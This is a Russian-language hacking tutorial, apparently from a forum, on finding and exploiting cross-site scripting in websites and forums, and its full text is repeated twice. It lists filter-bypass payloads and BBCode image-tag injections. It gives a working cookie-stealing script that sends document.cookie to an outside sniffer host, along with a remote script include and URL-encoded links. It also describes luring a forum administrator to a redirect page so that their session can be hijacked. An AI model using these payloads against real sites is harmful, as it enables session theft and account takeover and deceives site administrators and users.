"><script>alert('XSSPOSED') </script>
### Итак, перейду конкретно к тому, как найти в данном сайте XSS.
Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javascript языка =).
Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<script>alert()</script> Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><script>alert()</script>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><script>alert()</script> , что происходит?
Мы вводим в форму "><script>alert()</script> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет <script>alert()</script>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><script>alert()</script>
Если вышло сообщение - вы нашли XSS...
========================================
### А как определить есть фильтр или нет?
Просто в любое поле вводим: '';!--"<fuck>=&{()}
Дальше открываем html страничку и ищем слово "fuck"
и смотри последующие сиволы..
Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.
Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<script>ript>alert()</sc</script>ript>
это, если фильтр не оч. сильный и плохо фильтрует.
Еще можно попробовать во так:
>>>><<script бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.
Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
">
http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();
Фильтр смотрит, что ничего опасного в <IMG%20SRC="javascript:alert(); нет, закрывает и тем самым
выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.
Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.
========================================
### Активные XSS
Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.
Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...
Рассмотрим активные XSS.
Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.
К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]
Ну так вот к примеру мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]
Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.
Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=javascript:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.
Если фильтр не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="javascript:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=javascript:alert()/1.jpg[/im*g]
Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
Бывают случаи, когда jpg отключен админом.
========================================
###Мы всё время делали коды типа:
<script>alert('HakNet')</script>
javascript:alert('HakNet')
javascript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.
Вот скрипт:
<script>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</script>
Он уже ворует куки =)
========================================
###Как его подставить к ссылке с Xss?
Да очень легко...
Есть несколко вариантов:
- 1)делаем вот так:
http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script>
где **** сайт с Xss.
Вот сам составленый скрипт:
'><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
- 2)Можно ещё делать вот так:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
где обращаетса к http://haknet.h16.ru/script/js.js
а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.
Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).
Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
это был закодированный:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.
Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт:
<script language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
</script>
Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже и есть наш Xss в зашифрованом виде.
Примечание: это подействует только тогда, когда Xss будет принадлежать админу сайта которому вы бросили линк...
Иными словами ТРУДНОСТЬ ПАССИВНОЙ ХСС состоит в том, что уязвимость может быть использована ТОЛЬКО, если жертва АВТОРИЗОВАНА на уязвимом сайте!!!
### Итак, перейду конкретно к тому, как найти в данном сайте XSS.
Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javascript языка =).
Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<script>alert()</script> Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><script>alert()</script>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><script>alert()</script> , что происходит?
Мы вводим в форму "><script>alert()</script> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет <script>alert()</script>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><script>alert()</script>
Если вышло сообщение - вы нашли XSS...
========================================
### А как определить есть фильтр или нет?
Просто в любое поле вводим: '';!--"<fuck>=&{()}
Дальше открываем html страничку и ищем слово "fuck"
и смотри последующие сиволы..
Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.
Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<script>ript>alert()</sc</script>ript>
это, если фильтр не оч. сильный и плохо фильтрует.
Еще можно попробовать во так:
>>>><<script бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.
Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
">
http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();
Фильтр смотрит, что ничего опасного в <IMG%20SRC="javascript:alert(); нет, закрывает и тем самым
выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.
Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.
========================================
### Активные XSS
Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.
Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...
Рассмотрим активные XSS.
Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.
К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]
Ну так вот к примеру мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]
Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.
Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=javascript:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.
Если фильтр не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="javascript:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=javascript:alert()/1.jpg[/im*g]
Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
Бывают случаи, когда jpg отключен админом.
========================================
###Мы всё время делали коды типа:
<script>alert('HakNet')</script>
javascript:alert('HakNet')
javascript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.
Вот скрипт:
<script>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</script>
Он уже ворует куки =)
========================================
###Как его подставить к ссылке с Xss?
Да очень легко...
Есть несколко вариантов:
- 1)делаем вот так:
http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script>
где **** сайт с Xss.
Вот сам составленый скрипт:
'><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
- 2)Можно ещё делать вот так:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
где обращаетса к http://haknet.h16.ru/script/js.js
а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.
Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).
Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
это был закодированный:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.
Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт:
<script language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
</script>
Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже и есть наш Xss в зашифрованом виде.
Примечание: это подействует только тогда, когда Xss будет принадлежать админу сайта которому вы бросили линк...
Иными словами ТРУДНОСТЬ ПАССИВНОЙ ХСС состоит в том, что уязвимость может быть использована ТОЛЬКО, если жертва АВТОРИЗОВАНА на уязвимом сайте!!!